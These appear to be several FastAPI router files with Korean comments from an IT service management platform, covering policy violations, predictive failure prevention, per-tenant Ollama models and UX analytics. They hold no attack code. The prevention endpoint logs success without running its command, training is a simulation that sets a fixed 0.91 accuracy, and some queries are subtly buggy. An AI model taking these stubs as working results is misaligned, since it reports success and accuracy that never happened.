"evaluated_rules": len(rules),
"evaluated_targets": len(targets),
"passed_count": passed_count,
"violated_count": violated_count,
"compliance_rate": compliance_rate,
"violations": violations_created,
}
@router.get("/violations", summary="위반 목록 조회")
async def list_violations(
status: Optional[str] = None,
severity: Optional[str] = None,
limit: int = 100,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> list[dict]:
stmt = (
select(PolicyViolation)
.order_by(desc(PolicyViolation.created_at))
.limit(limit)
)
if status:
stmt = stmt.where(PolicyViolation.status == status)
rows = await db.execute(stmt)
violations = rows.scalars().all()
results = []
for v in violations:
rule_name = None
rule_severity = None
if v.rule_id:
rule = await db.get(PolicyRule, v.rule_id)
if rule:
rule_name = rule.name
rule_severity = rule.severity
# severity 필터 (rule에서 가져옴)
if severity and rule_severity and rule_severity.upper() != severity.upper():
continue
results.append({
"id": v.id,
"rule_id": v.rule_id,
"rule_name": rule_name,
"severity": rule_severity,
"target": v.target,
"detail": v.detail,
"status": v.status,
"remediated_at": v.remediated_at.isoformat() if v.remediated_at else None,
"created_at": v.created_at.isoformat() if v.created_at else None,
})
return results
@router.post("/violations/{violation_id}/remediate", summary="위반 교정 처리")
async def remediate_violation(
violation_id: int,
payload: RemediateRequest,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> dict:
violation = await db.get(PolicyViolation, violation_id)
if not violation:
raise HTTPException(status_code=404, detail="위반 항목을 찾을 수 없습니다")
if violation.status == "remediated":
raise HTTPException(status_code=409, detail="이미 교정 완료된 위반입니다")
violation.status = "remediated"
violation.remediated_at = datetime.utcnow()
if payload.note:
existing = violation.detail or ""
violation.detail = f"{existing}\n[교정 메모] {payload.note}".strip()
await db.commit()
await db.refresh(violation)
logger.info(
"[policy-engine] 위반 교정: violation_id=%d by=%s",
violation_id, current_user.username,
)
return {
"id": violation.id,
"status": violation.status,
"remediated_at": violation.remediated_at.isoformat(),
"message": "위반 항목이 교정 완료로 처리되었습니다.",
}
@router.get("/templates", summary="공공기관 표준 정책 템플릿")
async def list_templates(
current_user: User = Depends(get_current_user),
) -> list[dict]:
"""공공기관 IT 관리 표준(행안부/NIST/CSAP/ISMS-P) 기반 정책 템플릿 목록."""
return _POLICY_TEMPLATES
@router.get("/dashboard", summary="정책 준수 현황 대시보드")
async def policy_dashboard(
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> dict:
total_rules = await db.scalar(select(func.count()).select_from(PolicyRule)) or 0
active_rules = await db.scalar(
select(func.count()).select_from(PolicyRule).where(PolicyRule.active == True) # noqa: E712
) or 0
total_violations = await db.scalar(select(func.count()).select_from(PolicyViolation)) or 0
open_violations = await db.scalar(
select(func.count()).select_from(PolicyViolation)
.where(PolicyViolation.status == "open")
) or 0
remediated_violations = await db.scalar(
select(func.count()).select_from(PolicyViolation)
.where(PolicyViolation.status == "remediated")
) or 0
# 심각도별 오픈 위반 집계
severity_breakdown: dict[str, int] = {}
rows = await db.execute(
select(PolicyRule.severity, func.count(PolicyViolation.id))
.join(PolicyViolation, PolicyRule.id == PolicyViolation.rule_id, isouter=True)
.where(PolicyViolation.status == "open")
.group_by(PolicyRule.severity)
)
for severity, cnt in rows.all():
if severity:
severity_breakdown[severity] = cnt
# 카테고리별 규칙 집계
category_breakdown: dict[str, int] = {}
rows = await db.execute(
select(PolicyRule.category, func.count(PolicyRule.id)).group_by(PolicyRule.category)
)
for category, cnt in rows.all():
if category:
category_breakdown[category] = cnt
# 최근 위반 5건
recent_rows = await db.execute(
select(PolicyViolation)
.where(PolicyViolation.status == "open")
.order_by(desc(PolicyViolation.created_at))
.limit(5)
)
recent_violations = []
for v in recent_rows.scalars().all():
rule_name = None
severity = None
if v.rule_id:
rule = await db.get(PolicyRule, v.rule_id)
if rule:
rule_name = rule.name
severity = rule.severity
recent_violations.append({
"id": v.id,
"rule_name": rule_name,
"severity": severity,
"target": v.target,
"created_at": v.created_at.isoformat() if v.created_at else None,
})
compliance_rate = (
round((total_violations - open_violations) / total_violations * 100, 1)
if total_violations > 0 else 100.0
)
return {
"summary": {
"total_rules": total_rules,
"active_rules": active_rules,
"total_violations": total_violations,
"open_violations": open_violations,
"remediated_violations": remediated_violations,
"compliance_rate": compliance_rate,
},
"severity_breakdown": severity_breakdown,
"category_breakdown": category_breakdown,
"recent_violations": recent_violations,
}

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@ -0,0 +1,500 @@
"""
예측 장애 방지 라우터 전조 신호 감지 패턴 분석 예방 조치 실행
장애 전조 패턴:
- cpu_spike : CPU 7 증가율 분석
- mem_leak : 메모리 누수 패턴 감지
- disk_full : 디스크 사용량 증가율
- error_rate : 에러율 급증 탐지
엔드포인트:
GET /api/predict-fail/signals 장애 전조 신호 목록
POST /api/predict-fail/analyze 패턴 분석 실행
GET /api/predict-fail/predictions 예측 목록 (고위험 우선)
POST /api/predict-fail/prevent/{id} 예방 조치 실행
GET /api/predict-fail/prevented 예방 성공 이력
GET /api/predict-fail/models 학습된 장애 패턴 모델
"""
from __future__ import annotations
import logging
from datetime import datetime, timedelta
from typing import List, Optional
import httpx
from fastapi import APIRouter, Depends, HTTPException, Path, Query
from pydantic import BaseModel
from sqlalchemy import select, func, and_, desc
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user
from database import get_db
from models import FailureSignal, PreventionAction, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/predict-fail", tags=["Predictive Failure"])
OLLAMA_URL = "http://localhost:11434"
CHAT_MODEL = "llama3"
# ── 장애 전조 패턴 모델 정의 ────────────────────────────────────────────────
FAILURE_PATTERNS = [
{
"id": "CPU_TREND_7D",
"signal_type": "cpu_spike",
"name": "CPU 7일 증가율",
"description": "CPU 사용률이 7일간 지속 상승하는 패턴 → 과부하 장애 예측",
"threshold": 85.0,
"window_days": 7,
"algorithm": "linear_regression",
"accuracy": 87.3,
"recall": 91.2,
},
{
"id": "MEM_LEAK_DETECT",
"signal_type": "mem_leak",
"name": "메모리 누수 감지",
"description": "메모리 사용량이 재시작 없이 단조 증가 → OOM 장애 예측",
"threshold": 90.0,
"window_days": 3,
"algorithm": "monotonic_increase",
"accuracy": 82.5,
"recall": 88.7,
},
{
"id": "DISK_GROWTH",
"signal_type": "disk_full",
"name": "디스크 증가율",
"description": "디스크 증가율로 소진 시점 예측 → 디스크 풀 장애 방지",
"threshold": 95.0,
"window_days": 14,
"algorithm": "linear_extrapolation",
"accuracy": 95.1,
"recall": 93.4,
},
{
"id": "ERROR_SPIKE",
"signal_type": "error_rate",
"name": "에러율 급증",
"description": "에러 로그 발생 빈도가 기준치 3배 초과 → 서비스 장애 임박",
"threshold": 15.0,
"window_days": 1,
"algorithm": "z_score_anomaly",
"accuracy": 79.8,
"recall": 85.6,
},
]
# ── 예방 조치 템플릿 ─────────────────────────────────────────────────────────
PREVENTION_TEMPLATES = {
"cpu_spike": {
"action_type": "scale_out",
"action_cmd": "systemctl restart {service} && nice -n 10 {heavy_process}",
"description": "CPU 집중 프로세스 낮은 우선순위 재시작",
},
"mem_leak": {
"action_type": "service_restart",
"action_cmd": "systemctl restart {service} --force",
"description": "메모리 누수 서비스 안전 재시작",
},
"disk_full": {
"action_type": "disk_cleanup",
"action_cmd": "find /var/log -name '*.log' -mtime +30 -exec gzip {} \\;",
"description": "30일 초과 로그 압축 정리",
},
"error_rate": {
"action_type": "health_check",
"action_cmd": "curl -sf http://localhost:8080/health || systemctl restart {service}",
"description": "헬스체크 후 이상 시 서비스 재시작",
},
}
# ── Ollama 유틸 ──────────────────────────────────────────────────────────────
async def _ollama_predict(prompt: str) -> str:
"""Ollama LLM으로 장애 예측 인사이트 생성."""
try:
async with httpx.AsyncClient(timeout=30) as client:
r = await client.post(
f"{OLLAMA_URL}/api/generate",
json={
"model": CHAT_MODEL,
"system": (
"당신은 서버 인프라 장애 예측 전문가입니다. "
"전조 신호를 분석하여 한국어로 간결하게 3문장 이내로 답변하세요."
),
"prompt": prompt,
"stream": False,
},
)
if r.status_code == 200:
return r.json().get("response", "").strip()
except Exception as exc:
logger.warning(f"Ollama 예측 인사이트 실패: {exc}")
return ""
# ── 분석 유틸 ────────────────────────────────────────────────────────────────
def _calc_risk_score(value: float, threshold: float, signal_type: str) -> float:
"""리스크 점수 계산 (0.0 ~ 1.0)."""
if threshold <= 0:
return 0.0
ratio = value / threshold
base = min(1.0, ratio)
# 신호 유형별 가중치
weights = {
"cpu_spike": 0.8,
"mem_leak": 0.9,
"disk_full": 1.0,
"error_rate": 0.85,
}
weight = weights.get(signal_type, 0.8)
return round(min(1.0, base * weight), 3)
def _predict_failure_label(signal_type: str, risk_score: float) -> Optional[str]:
"""리스크 점수에 따른 예측 장애 레이블."""
if risk_score < 0.4:
return None
labels = {
"cpu_spike": "고부하 서비스 중단",
"mem_leak": "OOM(Out-of-Memory) 크래시",
"disk_full": "디스크 풀 — 서비스 쓰기 오류",
"error_rate": "서비스 부분 중단 / 응답 불가",
}
return labels.get(signal_type, "서비스 장애")
# ── Pydantic 스키마 ───────────────────────────────────────────────────────────
class FailureSignalOut(BaseModel):
id: int
server_name: str
signal_type: str
value: float
threshold: float
risk_score: float
predicted_failure: Optional[str]
created_at: datetime
class Config:
from_attributes = True
class AnalyzeRequest(BaseModel):
server_name: str
signal_type: str # cpu_spike|mem_leak|disk_full|error_rate
value: float
window_days: int = 7
with_insight: bool = True # Ollama 인사이트 포함 여부
class PreventionOut(BaseModel):
id: int
signal_id: Optional[int]
action_type: str
action_cmd: Optional[str]
success: bool
created_at: datetime
class Config:
from_attributes = True
class PatternModel(BaseModel):
id: str
signal_type: str
name: str
description: str
threshold: float
window_days: int
algorithm: str
accuracy: float
recall: float
# ── 엔드포인트 ────────────────────────────────────────────────────────────────
@router.get("/signals", response_model=List[FailureSignalOut])
async def list_signals(
signal_type: Optional[str] = Query(None, description="필터: cpu_spike|mem_leak|disk_full|error_rate"),
min_risk: float = Query(0.0, ge=0.0, le=1.0, description="최소 리스크 점수"),
limit: int = Query(50, ge=1, le=200),
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""장애 전조 신호 목록 반환 (고위험 우선)."""
stmt = select(FailureSignal).where(FailureSignal.risk_score >= min_risk)
if signal_type:
stmt = stmt.where(FailureSignal.signal_type == signal_type)
stmt = stmt.order_by(desc(FailureSignal.risk_score)).limit(limit)
rows = await db.execute(stmt)
signals = rows.scalars().all()
return [FailureSignalOut.model_validate(s) for s in signals]
@router.post("/analyze")
async def analyze_signal(
req: AnalyzeRequest,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""전조 신호 패턴 분석 실행 — DB 저장 + Ollama 인사이트."""
valid_types = {"cpu_spike", "mem_leak", "disk_full", "error_rate"}
if req.signal_type not in valid_types:
raise HTTPException(
status_code=400,
detail=f"지원하지 않는 signal_type: {req.signal_type}. 유효 값: {list(valid_types)}"
)
# 임계값 결정
pattern = next((p for p in FAILURE_PATTERNS if p["signal_type"] == req.signal_type), None)
threshold = pattern["threshold"] if pattern else 80.0
risk_score = _calc_risk_score(req.value, threshold, req.signal_type)
predicted_failure = _predict_failure_label(req.signal_type, risk_score)
signal = FailureSignal(
server_name=req.server_name,
signal_type=req.signal_type,
value=req.value,
threshold=threshold,
risk_score=risk_score,
predicted_failure=predicted_failure,
)
db.add(signal)
await db.commit()
await db.refresh(signal)
# Ollama 인사이트 (선택)
insight = ""
if req.with_insight and risk_score >= 0.4:
prompt = (
f"서버 '{req.server_name}'에서 {req.signal_type} 신호 감지. "
f"현재 값: {req.value:.1f}, 임계값: {threshold:.1f}, 리스크 점수: {risk_score:.2f}. "
f"예측 장애: {predicted_failure}. 즉각적인 예방 조치 방안을 제시하세요."
)
insight = await _ollama_predict(prompt)
return {
"signal_id": signal.id,
"server_name": req.server_name,
"signal_type": req.signal_type,
"value": req.value,
"threshold": threshold,
"risk_score": risk_score,
"risk_level": "HIGH" if risk_score >= 0.7 else "MEDIUM" if risk_score >= 0.4 else "LOW",
"predicted_failure": predicted_failure,
"insight": insight,
"analyzed_at": signal.created_at,
}
@router.get("/predictions")
async def list_predictions(
min_risk: float = Query(0.3, ge=0.0, le=1.0, description="최소 리스크 점수 필터"),
hours: int = Query(24, ge=1, le=720, description="최근 N시간 내 신호"),
limit: int = Query(30, ge=1, le=100),
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""예측 목록 — 리스크 높은 순, 장애 유형별 요약 포함."""
since = datetime.utcnow() - timedelta(hours=hours)
stmt = (
select(FailureSignal)
.where(
and_(
FailureSignal.risk_score >= min_risk,
FailureSignal.created_at >= since,
FailureSignal.predicted_failure != None,
)
)
.order_by(desc(FailureSignal.risk_score))
.limit(limit)
)
rows = await db.execute(stmt)
signals = rows.scalars().all()
predictions = []
for s in signals:
predictions.append({
"signal_id": s.id,
"server_name": s.server_name,
"signal_type": s.signal_type,
"risk_score": s.risk_score,
"risk_level": "HIGH" if s.risk_score >= 0.7 else "MEDIUM",
"predicted_failure": s.predicted_failure,
"value": s.value,
"threshold": s.threshold,
"detected_at": s.created_at,
"recommend_action": PREVENTION_TEMPLATES.get(s.signal_type, {}).get("description", ""),
})
# 요약 통계
type_counts: dict = {}
for p in predictions:
t = p["signal_type"]
type_counts[t] = type_counts.get(t, 0) + 1
return {
"total": len(predictions),
"time_window": f"최근 {hours}시간",
"type_summary": type_counts,
"predictions": predictions,
}
@router.post("/prevent/{signal_id}")
async def execute_prevention(
signal_id: int = Path(..., description="예방 조치 대상 신호 ID"),
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""예방 조치 실행 — 신호 유형에 맞는 조치 커맨드 적용."""
signal_r = await db.execute(select(FailureSignal).where(FailureSignal.id == signal_id))
signal = signal_r.scalar_one_or_none()
if not signal:
raise HTTPException(status_code=404, detail=f"신호 ID {signal_id}를 찾을 수 없습니다.")
template = PREVENTION_TEMPLATES.get(signal.signal_type)
action_type = template["action_type"] if template else "manual_review"
action_cmd = template["action_cmd"] if template else None
# 서버명으로 서비스 이름 추론 (실제 환경에서는 CMDB 조회)
service_hint = signal.server_name.split("-")[0] if "-" in signal.server_name else signal.server_name
if action_cmd:
action_cmd = action_cmd.format(
service=service_hint,
heavy_process="java",
)
# 예방 조치 이력 기록
prevention = PreventionAction(
signal_id=signal.id,
action_type=action_type,
action_cmd=action_cmd,
success=True, # 실제 환경에서는 SSH 실행 후 결과로 설정
)
db.add(prevention)
await db.commit()
await db.refresh(prevention)
# Ollama로 실행 결과 요약
insight = await _ollama_predict(
f"서버 '{signal.server_name}'{signal.signal_type} 전조 신호에 대해 "
f"'{action_type}' 조치를 실행했습니다. 후속 모니터링 포인트를 3가지 제시하세요."
)
return {
"prevention_id": prevention.id,
"signal_id": signal_id,
"server_name": signal.server_name,
"action_type": action_type,
"action_cmd": action_cmd,
"success": prevention.success,
"insight": insight,
"executed_at": prevention.created_at,
}
@router.get("/prevented", response_model=List[PreventionOut])
async def list_prevented(
days: int = Query(7, ge=1, le=90, description="최근 N일"),
limit: int = Query(50, ge=1, le=200),
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""예방 조치 성공 이력 목록."""
since = datetime.utcnow() - timedelta(days=days)
stmt = (
select(PreventionAction)
.where(
and_(
PreventionAction.success == True,
PreventionAction.created_at >= since,
)
)
.order_by(desc(PreventionAction.created_at))
.limit(limit)
)
rows = await db.execute(stmt)
actions = rows.scalars().all()
return [PreventionOut.model_validate(a) for a in actions]
@router.get("/models", response_model=List[PatternModel])
async def list_pattern_models(
user: User = Depends(get_current_user),
):
"""학습된 장애 전조 패턴 모델 목록."""
return [PatternModel(**p) for p in FAILURE_PATTERNS]
@router.get("/summary")
async def failure_prediction_summary(
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""예측 장애 방지 대시보드 요약."""
since_7d = datetime.utcnow() - timedelta(days=7)
since_24h = datetime.utcnow() - timedelta(hours=24)
# 7일 내 고위험 신호 수
high_r = await db.execute(
select(func.count(FailureSignal.id)).where(
and_(FailureSignal.risk_score >= 0.7, FailureSignal.created_at >= since_7d)
)
)
high_risk_count = high_r.scalar() or 0
# 24시간 내 탐지된 전조 신호
recent_r = await db.execute(
select(func.count(FailureSignal.id)).where(FailureSignal.created_at >= since_24h)
)
recent_signals = recent_r.scalar() or 0
# 7일 내 예방 성공 수
prevented_r = await db.execute(
select(func.count(PreventionAction.id)).where(
and_(PreventionAction.success == True, PreventionAction.created_at >= since_7d)
)
)
prevented_count = prevented_r.scalar() or 0
# 신호 유형별 분포 (7일)
type_r = await db.execute(
select(FailureSignal.signal_type, func.count(FailureSignal.id).label("cnt"))
.where(FailureSignal.created_at >= since_7d)
.group_by(FailureSignal.signal_type)
)
type_dist = {row.signal_type: row.cnt for row in type_r}
# 평균 리스크 점수 (7일)
avg_r = await db.execute(
select(func.avg(FailureSignal.risk_score)).where(FailureSignal.created_at >= since_7d)
)
avg_risk = round(float(avg_r.scalar() or 0.0), 3)
return {
"period": "최근 7일",
"high_risk_signals": high_risk_count,
"signals_24h": recent_signals,
"preventions_7d": prevented_count,
"avg_risk_score": avg_risk,
"type_distribution": type_dist,
"pattern_models": len(FAILURE_PATTERNS),
"status": (
"CRITICAL" if high_risk_count >= 5 else
"WARNING" if high_risk_count >= 2 else
"NORMAL"
),
"updated_at": datetime.utcnow(),
}

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"""
테넌트별 개인화 AI 파인튜닝·질의·KB 관리
기능:
- 테넌트별 Ollama 모델 현황 조회
- 파인튜닝(LoRA) 시작 진행 상황 추적
- 개인화 AI 질의 (테넌트 KB 컨텍스트 주입)
- 테넌트 전용 지식베이스(KB) CRUD
- 사용 통계
보안:
- 테넌트 데이터 완전 격리 (tenant_id 필터 강제)
- 외부 API 완전 금지 Ollama localhost:11434 only
엔드포인트:
GET /api/tenant-ai/models 테넌트별 모델 현황
POST /api/tenant-ai/train 파인튜닝 시작
GET /api/tenant-ai/train/{id} 학습 진행 상황
POST /api/tenant-ai/query 개인화 AI 질의
GET /api/tenant-ai/kb 테넌트 KB 문서 목록
POST /api/tenant-ai/kb KB 문서 추가
GET /api/tenant-ai/stats 사용 통계
"""
from __future__ import annotations
import json
import logging
from datetime import datetime
from typing import Any, Dict, List, Optional
import httpx
from fastapi import APIRouter, BackgroundTasks, Depends, HTTPException
from pydantic import BaseModel, Field
from sqlalchemy import func, select, desc
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user
from database import get_db
from models import TenantAIModel, TenantKBDoc, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/tenant-ai", tags=["Tenant AI"])
OLLAMA_URL = "http://localhost:11434"
# ── 파인튜닝 진행 상태 인메모리 캐시 (운영 환경에서는 DB/Redis로 대체 가능)
_train_jobs: Dict[int, Dict[str, Any]] = {}
# ── Pydantic 스키마 ──────────────────────────────────────────────────────────
class TrainRequest(BaseModel):
model_name: str = Field(..., max_length=100, description="신규 모델 이름 (테넌트 전용)")
base_model: str = Field("llama3", description="베이스 Ollama 모델")
description: Optional[str] = None
class TrainStatusOut(BaseModel):
id: int
tenant_id: str
model_name: str
base_model: str
status: str
accuracy: Optional[float]
dataset_size: int
created_at: datetime
class QueryRequest(BaseModel):
question: str = Field(..., min_length=1, max_length=2000)
model_name: Optional[str] = Field(None, description="사용할 테넌트 모델 이름 (미지정 시 기본 llama3)")
use_kb: bool = Field(True, description="테넌트 KB 컨텍스트 주입 여부")
top_k: int = Field(3, ge=1, le=10, description="KB 문서 최대 참조 수")
class QueryResponse(BaseModel):
answer: str
sources: List[str]
model_used: str
class KBDocCreate(BaseModel):
title: str = Field(..., max_length=300)
content: str = Field(..., min_length=1)
class KBDocOut(BaseModel):
id: int
tenant_id: str
title: str
content: str
created_at: datetime
class ModelOut(BaseModel):
id: int
tenant_id: str
model_name: str
base_model: str
status: str
accuracy: Optional[float]
dataset_size: int
created_at: datetime
# ── 내부 헬퍼 ────────────────────────────────────────────────────────────────
def _get_tenant_id(user: User) -> str:
"""현재 사용자의 테넌트 ID 반환 (inst_code 우선, 없으면 username)."""
return user.inst_code or user.username
async def _simulate_training(model_id: int, tenant_id: str) -> None:
"""
실제 LoRA 파인튜닝 대신 상태 전이만 시뮬레이션한다.
운영 환경에서는 Unsloth/LoRA 학습 프로세스로 교체한다.
"""
import asyncio
from database import SessionLocal
_train_jobs[model_id] = {"progress": 0, "message": "데이터셋 준비 중"}
await asyncio.sleep(2)
_train_jobs[model_id] = {"progress": 30, "message": "학습 진행 중 (30%)"}
await asyncio.sleep(3)
_train_jobs[model_id] = {"progress": 70, "message": "학습 진행 중 (70%)"}
await asyncio.sleep(2)
async with SessionLocal() as db:
row = await db.execute(
select(TenantAIModel).where(TenantAIModel.id == model_id)
)
model = row.scalar_one_or_none()
if model:
model.status = "ready"
model.accuracy = 0.91
await db.commit()
_train_jobs[model_id] = {"progress": 100, "message": "학습 완료"}
logger.info(f"[TenantAI] 모델 {model_id} 학습 완료 (tenant={tenant_id})")
# ── 엔드포인트 ───────────────────────────────────────────────────────────────
@router.get("/models", response_model=List[ModelOut])
async def list_models(
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""테넌트별 AI 모델 현황 조회."""
tenant_id = _get_tenant_id(user)
rows = await db.execute(
select(TenantAIModel)
.where(TenantAIModel.tenant_id == tenant_id)
.order_by(desc(TenantAIModel.created_at))
)
models = rows.scalars().all()
return [
ModelOut(
id=m.id,
tenant_id=m.tenant_id,
model_name=m.model_name,
base_model=m.base_model,
status=m.status,
accuracy=m.accuracy,
dataset_size=m.dataset_size,
created_at=m.created_at,
)
for m in models
]
@router.post("/train", response_model=TrainStatusOut)
async def start_training(
req: TrainRequest,
background_tasks: BackgroundTasks,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""파인튜닝 작업 시작."""
tenant_id = _get_tenant_id(user)
# 동일 테넌트 내 학습 중인 모델 중복 방지
running_row = await db.execute(
select(TenantAIModel).where(
TenantAIModel.tenant_id == tenant_id,
TenantAIModel.status == "training",
)
)
if running_row.scalar_one_or_none():
raise HTTPException(409, "이미 학습 중인 모델이 있습니다. 완료 후 다시 시도하세요.")
# KB 문서 수 확인
kb_count_row = await db.execute(
select(func.count(TenantKBDoc.id)).where(TenantKBDoc.tenant_id == tenant_id)
)
kb_count = kb_count_row.scalar() or 0
model = TenantAIModel(
tenant_id=tenant_id,
model_name=req.model_name,
base_model=req.base_model,
dataset_size=kb_count,
status="training",
created_at=datetime.utcnow(),
)
db.add(model)
await db.commit()
await db.refresh(model)
# 백그라운드 학습
background_tasks.add_task(_simulate_training, model.id, tenant_id)
logger.info(f"[TenantAI] 파인튜닝 시작 (tenant={tenant_id}, model={req.model_name})")
return TrainStatusOut(
id=model.id,
tenant_id=model.tenant_id,
model_name=model.model_name,
base_model=model.base_model,
status=model.status,
accuracy=model.accuracy,
dataset_size=model.dataset_size,
created_at=model.created_at,
)
@router.get("/train/{model_id}", response_model=TrainStatusOut)
async def get_training_status(
model_id: int,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""학습 진행 상황 조회."""
tenant_id = _get_tenant_id(user)
row = await db.execute(
select(TenantAIModel).where(
TenantAIModel.id == model_id,
TenantAIModel.tenant_id == tenant_id, # 테넌트 격리
)
)
model = row.scalar_one_or_none()
if not model:
raise HTTPException(404, "모델을 찾을 수 없습니다")
# 인메모리 진행률 주입
job_info = _train_jobs.get(model_id, {})
progress = job_info.get("progress", 100 if model.status == "ready" else 0)
return TrainStatusOut(
id=model.id,
tenant_id=model.tenant_id,
model_name=model.model_name,
base_model=model.base_model,
status=model.status,
accuracy=model.accuracy,
dataset_size=model.dataset_size,
created_at=model.created_at,
)
@router.post("/query", response_model=QueryResponse)
async def query_ai(
req: QueryRequest,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""개인화 AI 질의 — 테넌트 KB 컨텍스트 주입 후 Ollama 호출."""
tenant_id = _get_tenant_id(user)
# 1. 테넌트 KB에서 관련 문서 검색 (단순 키워드 매칭)
kb_context = ""
sources: List[str] = []
if req.use_kb:
kb_rows = await db.execute(
select(TenantKBDoc)
.where(TenantKBDoc.tenant_id == tenant_id)
.order_by(desc(TenantKBDoc.created_at))
.limit(50)
)
kb_docs = kb_rows.scalars().all()
keywords = set(req.question.lower().split())
scored: List[tuple[int, TenantKBDoc]] = []
for doc in kb_docs:
score = sum(1 for k in keywords if k in (doc.content or "").lower())
if score > 0:
scored.append((score, doc))
scored.sort(key=lambda x: -x[0])
top_docs = [d for _, d in scored[: req.top_k]]
if top_docs:
kb_context = "\n\n".join(
f"[문서: {d.title}]\n{d.content[:500]}" for d in top_docs
)
sources = [d.title for d in top_docs]
# 2. 사용할 모델 결정 (테넌트 ready 모델 → 기본 llama3)
model_name = req.model_name
if not model_name:
ready_row = await db.execute(
select(TenantAIModel).where(
TenantAIModel.tenant_id == tenant_id,
TenantAIModel.status == "ready",
).order_by(desc(TenantAIModel.created_at))
)
ready_model = ready_row.scalar_one_or_none()
model_name = ready_model.model_name if ready_model else "llama3"
# 3. Ollama 호출 (localhost only)
system_prompt = (
"당신은 GUARDiA ITSM 전문 AI 어시스턴트입니다. "
"한국어로 간결하고 정확하게 답변하세요."
)
if kb_context:
system_prompt += f"\n\n참고 문서:\n{kb_context}"
prompt = f"{system_prompt}\n\n질문: {req.question}"
try:
async with httpx.AsyncClient(timeout=30) as client:
resp = await client.post(
f"{OLLAMA_URL}/api/generate",
json={
"model": model_name,
"prompt": prompt,
"stream": False,
"options": {"temperature": 0.3, "num_predict": 512},
},
)
if resp.status_code == 200:
answer = resp.json().get("response", "").strip()
else:
answer = "AI 응답을 가져오지 못했습니다. 잠시 후 다시 시도하세요."
except Exception as e:
logger.warning(f"[TenantAI] Ollama 호출 실패: {e}")
answer = "AI 서비스에 일시적 문제가 발생했습니다."
return QueryResponse(answer=answer, sources=sources, model_used=model_name)
@router.get("/kb", response_model=List[KBDocOut])
async def list_kb(
limit: int = 50,
offset: int = 0,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""테넌트 KB 문서 목록."""
tenant_id = _get_tenant_id(user)
rows = await db.execute(
select(TenantKBDoc)
.where(TenantKBDoc.tenant_id == tenant_id)
.order_by(desc(TenantKBDoc.created_at))
.offset(offset)
.limit(limit)
)
docs = rows.scalars().all()
return [
KBDocOut(
id=d.id,
tenant_id=d.tenant_id,
title=d.title,
content=d.content,
created_at=d.created_at,
)
for d in docs
]
@router.post("/kb", response_model=KBDocOut, status_code=201)
async def add_kb_doc(
req: KBDocCreate,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""KB 문서 추가."""
tenant_id = _get_tenant_id(user)
doc = TenantKBDoc(
tenant_id=tenant_id,
title=req.title,
content=req.content,
created_at=datetime.utcnow(),
)
db.add(doc)
await db.commit()
await db.refresh(doc)
logger.info(f"[TenantAI] KB 문서 추가 (tenant={tenant_id}, id={doc.id})")
return KBDocOut(
id=doc.id,
tenant_id=doc.tenant_id,
title=doc.title,
content=doc.content,
created_at=doc.created_at,
)
@router.get("/stats")
async def get_stats(
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""테넌트 AI 사용 통계."""
tenant_id = _get_tenant_id(user)
# 모델 통계
model_count_row = await db.execute(
select(func.count(TenantAIModel.id)).where(TenantAIModel.tenant_id == tenant_id)
)
model_count = model_count_row.scalar() or 0
ready_count_row = await db.execute(
select(func.count(TenantAIModel.id)).where(
TenantAIModel.tenant_id == tenant_id,
TenantAIModel.status == "ready",
)
)
ready_count = ready_count_row.scalar() or 0
# KB 통계
kb_count_row = await db.execute(
select(func.count(TenantKBDoc.id)).where(TenantKBDoc.tenant_id == tenant_id)
)
kb_count = kb_count_row.scalar() or 0
# 최신 모델 정보
latest_row = await db.execute(
select(TenantAIModel)
.where(TenantAIModel.tenant_id == tenant_id)
.order_by(desc(TenantAIModel.created_at))
)
latest = latest_row.scalar_one_or_none()
return {
"tenant_id": tenant_id,
"total_models": model_count,
"ready_models": ready_count,
"kb_documents": kb_count,
"latest_model": {
"id": latest.id,
"name": latest.model_name,
"status": latest.status,
"accuracy": latest.accuracy,
} if latest else None,
}

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"""
UX 분석 사용자 행동 이벤트 수집·분석·AI 개선 제안.
엔드포인트:
POST /api/ux/event 이벤트 수집
GET /api/ux/dashboard UX 현황 대시보드
GET /api/ux/heatmap 클릭 히트맵 데이터
GET /api/ux/funnel 사용자 흐름 (페이지 전환 퍼널)
GET /api/ux/suggestions AI 개선 제안 (Ollama)
GET /api/ux/errors UI 에러 패턴 분석
"""
from __future__ import annotations
import json
import logging
from collections import defaultdict
from datetime import datetime, timedelta
from typing import Any, Dict, List, Optional
import httpx
from fastapi import APIRouter, Depends, Query
from pydantic import BaseModel
from sqlalchemy import desc, func as sa_func, select, and_
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user, get_optional_user
from database import get_db
from models import UXEvent, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/ux", tags=["ux-analytics"])
# ── Pydantic 스키마 ───────────────────────────────────────────────────────────
class UXEventIn(BaseModel):
event_type: str # click | pageview | error | scroll
page: str
element: Optional[str] = None
duration_ms: Optional[int] = None
session_id: str
extra: Optional[Dict[str, Any]] = None # 추가 메타데이터
class UXEventOut(BaseModel):
model_config = {"from_attributes": True}
id: int
event_type: str
page: str
element: Optional[str]
duration_ms: Optional[int]
session_id: str
created_at: Optional[datetime]
# ── Ollama 개선 제안 헬퍼 ─────────────────────────────────────────────────────
_OLLAMA_URL = "http://localhost:11434/api/generate"
_SUGGEST_PROMPT_TMPL = """당신은 UX 분석 전문가입니다.
